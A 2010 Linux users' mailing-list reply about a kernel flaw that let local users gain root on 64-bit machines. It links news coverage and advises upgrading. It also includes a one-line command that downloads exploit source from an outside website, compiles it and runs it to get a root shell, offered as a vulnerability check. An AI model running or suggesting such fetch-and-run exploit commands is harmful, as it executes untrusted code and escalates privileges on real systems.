Re: [tlug] Linux Kernel Exploit News

[Kalin KOZHUHAROV <me.kalin@example.com>]

Hi,

On Thu, Sep 23, 2010 at 10:33, CL <az.4tlug@example.com> wrote:
> I am not sure I understand the issue 100% but thought others might be
> interested. this morning's ZDNet news contained the following article:
>
> http://www.zdnet.co.uk/news/security-threats/2010/09/21/linux-kernel-exploit-roots-64-bit-machines-40090177/?s_cid=116
>
> Which links to an explanatory story and onward links to a hotfix patch:
>
> http://isc.sans.edu/diary.html?storyid=9574
>
> I have not applied the patch as it appears to be an enterprise problem
> more than an individual PC one.  Maybe people who know more could comment.
>
It is not "enterprise problem, pretty much any recent 64bit kernel was
affected... Get yourself one of the latest stable (released 1-2d ago).

If you want to check whether your system is affected, as a normal user do:

$ wget -q http://thinrope.net/s/robert_you_suck.c -O - |gcc -x c -o
r00t - && ./r00t

If you get a root shell, guess what - YOU ARE affected.


Cheers,
Kalin.